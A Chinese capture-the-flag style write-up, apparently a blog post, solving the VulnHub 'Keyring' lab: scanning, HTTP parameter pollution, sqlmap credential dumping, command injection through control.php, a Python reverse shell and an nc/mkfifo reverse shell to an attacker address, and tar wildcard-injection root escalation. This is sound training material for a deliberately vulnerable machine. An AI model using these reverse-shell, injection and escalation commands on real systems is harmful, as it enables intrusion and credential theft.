靶机渗透练习10-Keyring (HPP漏洞)

靶机地址:https://www.vulnhub.com/entry/ia-keyring-101,718/

1、主机探活

arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)
netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段)
nmap -sn 192.168.111.0/24

2、端口扫描

nmap -sS -A -sV -T4 -p- 192.168.56.108
22—ssh—OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80—http—Apache httpd 2.4.29 ((Ubuntu))

3、80端口分析
在这里插入图片描述
映入眼帘的是一个注册页面,那我们就随便注册个账号看看吧,填写test/test然后点击signup。显示注册成功,然后点击login进入登录界面输入刚才注册的账号
在这里插入图片描述
然后随便点点看看,在control处看到如下提示

HTTP Parameter Pollution or HPP in short is a vulnerability that occurs
due to passing of multiple parameters having same name
HTTP参数污染(简称HPP)是一个容易发生的漏洞
由于传递了多个同名参数

4、ok得到了提示但是还不知道利用点在哪。遇事不决,目录扫描再说~

gobuster dir -u “http://192.168.56.108/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip,bak

在这里插入图片描述
一一尝试,访问/history.php发现是个空白页面,符合hpp的搜索隐藏信息的特点,我们猜测可能存在hpp漏洞

HTTP Parameter Pollution即HTTP参数污染,简称HPP。是web容器处理HTTP参数的一种方式。HTTP 参数污染 (HPP) 是一种 Web 攻击规避技术,允许攻击者通过更改 HTTP 请求以操纵或搜索隐藏信息。这种规避技术基于在具有相同名称的参数的多个实例之间拆分攻击向量。某些环境通过从请求中连接的参数名称的所有实例中获取的值来处理此类请求。

令人amazing的是登录用户访问history.php发现是个空白页面,而没登陆的时候访问/history.php出现以下提示
在这里插入图片描述
这确实有点像所谓的接口,但是直接在后面加上history.php?user=test,发现又没反应,登录了再访问发现才有结果显示。。

http://192.168.56.108/history.php?user=test

在这里插入图片描述
既然如此我们换成admin试试

http://192.168.56.108/history.php?user=admin

出现以下提示

Pages visited by user admin
https://github.com/cyberbot75/keyring

访问后发现是一个源码仓库,一一访问看看,当看到control.php源码的时候发现了
在这里插入图片描述
5、尝试命令执行,发现没有成功,应该是admin用户才能执行命令

http://192.168.56.108/control.php?cmdcntr=id

在这里插入图片描述
这时候想到:hpp漏洞一般用于sql和xss的waf绕过,既然我们有user参数,不妨尝试以下sql注入,直接用sqlmap跑一下

sqlmap -u “http://192.168.56.108/history.php?user=admin” --cookie=“PHPSESSID=e7gbkosbigmu9cfqjpr051o3fd” --dbs --batch

在这里插入图片描述
嗯哼,存在sql注入

sqlmap -u "http://192.168.56.108/history.php?user=admin" --cookie="PHPSESSID=e7gbkosbigmu9cfqjpr051o3fd" --batch -D users -T details --dump

得到管理员账号密码:admin | myadmin#p4szw0r4d 
于此同时还得到了一个奇奇怪怪的用户,看起来应该是系统用户:john  | Sup3r$S3cr3t$PasSW0RD

在这里插入图片描述
6、登录管理用账号尝试是否可以执行命令
在这里插入图片描述
成功执行命令
7、反弹shell(使用python反弹shell)

1、nc -lvnp 444
2、http://192.168.56.108/control.php?cmdcntr=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、切换交互书shell:python3 -c 'import pty;pty.spawn("/bin/bash")'

8、尝试提权
之前sql注入得到一个系统用户,尝试登录

su john
Sup3r$S3cr3t$PasSW0RD

在这里插入图片描述
在john的家目录发现一个文件compress而且它是以root权限运行的,看一下是什么文件

file compress

在这里插入图片描述
发现suid,把他下载下来看看内容

1、靶机开启http服务:python3 -m http.server
2、kali攻击机下载compress文件,查看文件内容
wget http://192.168.56.108:8000/compress
strings compress

在这里插入图片描述
思路:compress会执行tar程序,可以利用通配符注入来提权(详解在此:https://www.freebuf.com/articles/system/176255.html)

tar提权操作:
echo "/bin/bash" > exp.sh
echo "" > "--checkpoint-action=exec=sh exp.sh"
echo "" > --checkpoint=1
./compress
id

在这里插入图片描述
成功得到root权限,完结散花~

还可以这样操作:

1、kali开启监听:nc -lvnp 4444
2、
echo "mkfifo /tmp/lhennp; nc 192.168.56.101 5555 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
chmod +x shell.sh    #赋予执行权限
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *   #这一步省略,因为在compress文件中就可以执行这个命令
./compress #进行root权限反弹

总结:
1、接口寻找–>HPP漏洞利用
2、信息收集寻找漏洞
3、通配符注入提权–>tar提权

参考:
https://www.cnblogs.com/sainet/p/15772346.html
https://blog.csdn.net/lionwerson/article/details/121755655
https://mp.weixin.qq.com/s/CMWB5VoZ6N7sIqVob-R_rQ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值